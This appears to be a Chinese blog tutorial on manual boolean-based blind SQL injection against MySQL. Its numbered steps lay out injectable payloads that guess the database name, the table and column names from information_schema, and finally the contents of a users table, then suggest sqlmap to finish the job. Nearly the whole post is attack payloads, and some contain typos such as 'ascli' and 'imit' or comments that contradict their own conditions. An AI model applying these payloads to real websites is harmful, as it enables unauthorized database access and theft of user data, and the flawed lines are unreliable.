我喜欢SEO、网络营销及建站,希望与志同道合的您
建立合作或相互学习关系 QQ:10343829

当mysql不支持union select的使用使用布尔盲注方法【完整】

1.  猜解数据库长度

     and Length((database()))<10   //小于12返回正常说明数据库是12位以下
     and length((database()))<8    //小于8返回错误说明数据库名是9位的

2. 猜解数据库名:

and ascii(substring((database()),1,1))=100 //100的ascii码=d,说明不是d

and ascii(substring((database()),1,1))=122 //122存在说明数据库名第一位是z

and ascii(substring((database()),2,1))=114 返回错误说明不是ascii码114=r 说明第二位不是r

and ascii(substring((database()),2,1))=115 返回正常说明第二位是s

.....

3. 猜表长度:

and Length((SELECT distinct table_name FROM information_schema.tables Where table_schema=0x7A73323236315F6462 
limit 0,1))<10 #小于8返回正常表示表小于10

and Length((SELECT distinct table_name FROM information_schema.tables Where table_schema=0x7A73323236315F6462 
limit 0,1))>9 #大于9返回错误,表示值是9或8...

4. 猜表名:

And ascii((substr(select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),m,1)) > n
   // 截取第一行表名的第m 个字符串并转换为ascii码

5. 猜字段长度:

And length ((select column_name from information_schema.columns where table_name='users' limit 0,1)) >n   
      // 判断表中字段名的长度

6. 猜字段名称:

And ascli((substr(select column_name from information_schema.columns where table_name='users' limit 0,1),m,1)) >n
    // 截取表中字段的第m 字符串并转换为ascii码

7. 猜内容长度:

And length((select user from users limit 0,1)) > 1       / / 判断字符串内容长度

8. 猜内容:

And ascii(substr((select user from users imit 0,1),m,1))   / / 截取第m 个字符串并转换为ascil码

手工注入工作量比较大,可以再获取数据库名后用sqlmap去跑后面的内容

转载请著名来源:天天小站 » 当mysql不支持union select的使用使用布尔盲注方法【完整】

分享到:更多 ()